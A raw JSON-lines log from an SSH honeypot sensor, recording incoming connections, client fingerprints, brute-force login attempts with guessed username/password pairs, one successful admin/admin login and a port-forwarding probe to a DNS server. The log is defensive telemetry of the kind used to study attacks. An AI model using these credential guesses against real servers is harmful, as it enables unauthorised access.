{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:53:56.868282Z","src_ip":"103.77.175.15","session":"6c49cbe7468d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mama123","message":"login attempt [root/mama123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:53:57.619317Z","src_ip":"103.77.175.15","session":"6c49cbe7468d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:53:58.208658Z","src_ip":"139.19.117.129","session":"a74d83b0bd89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:53:58.878206Z","src_ip":"103.77.175.15","session":"6c49cbe7468d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":36074,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1f87e40c98e","protocol":"ssh","message":"New connection: 103.195.236.96:36074 (159.203.135.109:22) [session: f1f87e40c98e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:54:05.831347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:54:05.844781Z","src_ip":"103.195.236.96","session":"f1f87e40c98e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:54:06.069483Z","src_ip":"103.195.236.96","session":"f1f87e40c98e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vlad2000","message":"login attempt [root/vlad2000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:54:07.007680Z","src_ip":"103.195.236.96","session":"f1f87e40c98e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:54:08.247697Z","src_ip":"103.195.236.96","session":"f1f87e40c98e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":60842,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a781002c520","protocol":"ssh","message":"New connection: 87.251.64.176:60842 (10.17.0.5:22) [session: 4a781002c520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:54:51.864191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:54:51.869338Z","src_ip":"87.251.64.176","session":"4a781002c520","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:54:52.032845Z","src_ip":"87.251.64.176","session":"4a781002c520","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:54:52.521527Z","src_ip":"87.251.64.176","session":"4a781002c520","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:54:52.689870Z","session":"4a781002c520","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:54:52.854105Z","src_ip":"87.251.64.176","session":"4a781002c520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:54:53.020322Z","src_ip":"87.251.64.176","session":"4a781002c520","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.240.223.208","src_port":59820,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5ce43566a02","protocol":"ssh","message":"New connection: 66.240.223.208:59820 (159.203.135.109:22) [session: d5ce43566a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:54:56.203975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:54:56.208582Z","src_ip":"66.240.223.208","session":"d5ce43566a02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:54:56.280319Z","src_ip":"66.240.223.208","session":"d5ce43566a02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":49514,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ddaec62ed9e","protocol":"ssh","message":"New connection: 77.94.47.83:49514 (10.17.0.5:22) [session: 9ddaec62ed9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:54:58.699768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:54:58.704443Z","src_ip":"77.94.47.83","session":"9ddaec62ed9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:54:58.827645Z","src_ip":"77.94.47.83","session":"9ddaec62ed9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"78945612","message":"login attempt [root/78945612] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:54:59.196723Z","src_ip":"77.94.47.83","session":"9ddaec62ed9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:55:00.322894Z","src_ip":"77.94.47.83","session":"9ddaec62ed9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:55:06.204805Z","src_ip":"66.240.223.208","session":"d5ce43566a02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":53878,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d9492665dad","protocol":"ssh","message":"New connection: 80.94.92.184:53878 (10.17.0.5:22) [session: 7d9492665dad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:55:23.887654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:55:23.945829Z","src_ip":"80.94.92.184","session":"7d9492665dad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:55:24.060183Z","src_ip":"80.94.92.184","session":"7d9492665dad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"123@","message":"login attempt [solana/123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:55:24.675184Z","src_ip":"80.94.92.184","session":"7d9492665dad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:55:25.807659Z","src_ip":"80.94.92.184","session":"7d9492665dad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":37994,"dst_ip":"159.203.135.109","dst_port":22,"session":"c170c9904661","protocol":"ssh","message":"New connection: 103.153.68.219:37994 (159.203.135.109:22) [session: c170c9904661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:55:32.037171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:55:32.045392Z","src_ip":"103.153.68.219","session":"c170c9904661","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:55:32.289814Z","src_ip":"103.153.68.219","session":"c170c9904661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12344321q","message":"login attempt [root/12344321q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:55:33.034645Z","src_ip":"103.153.68.219","session":"c170c9904661","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:55:34.280621Z","src_ip":"103.153.68.219","session":"c170c9904661","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.129.186.87","src_port":3256,"dst_ip":"10.17.0.5","dst_port":22,"session":"87a281408352","protocol":"ssh","message":"New connection: 102.129.186.87:3256 (10.17.0.5:22) [session: 87a281408352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:55:57.838673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:55:57.843732Z","src_ip":"102.129.186.87","session":"87a281408352","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:55:57.972737Z","src_ip":"102.129.186.87","session":"87a281408352","protocol":"ssh"}
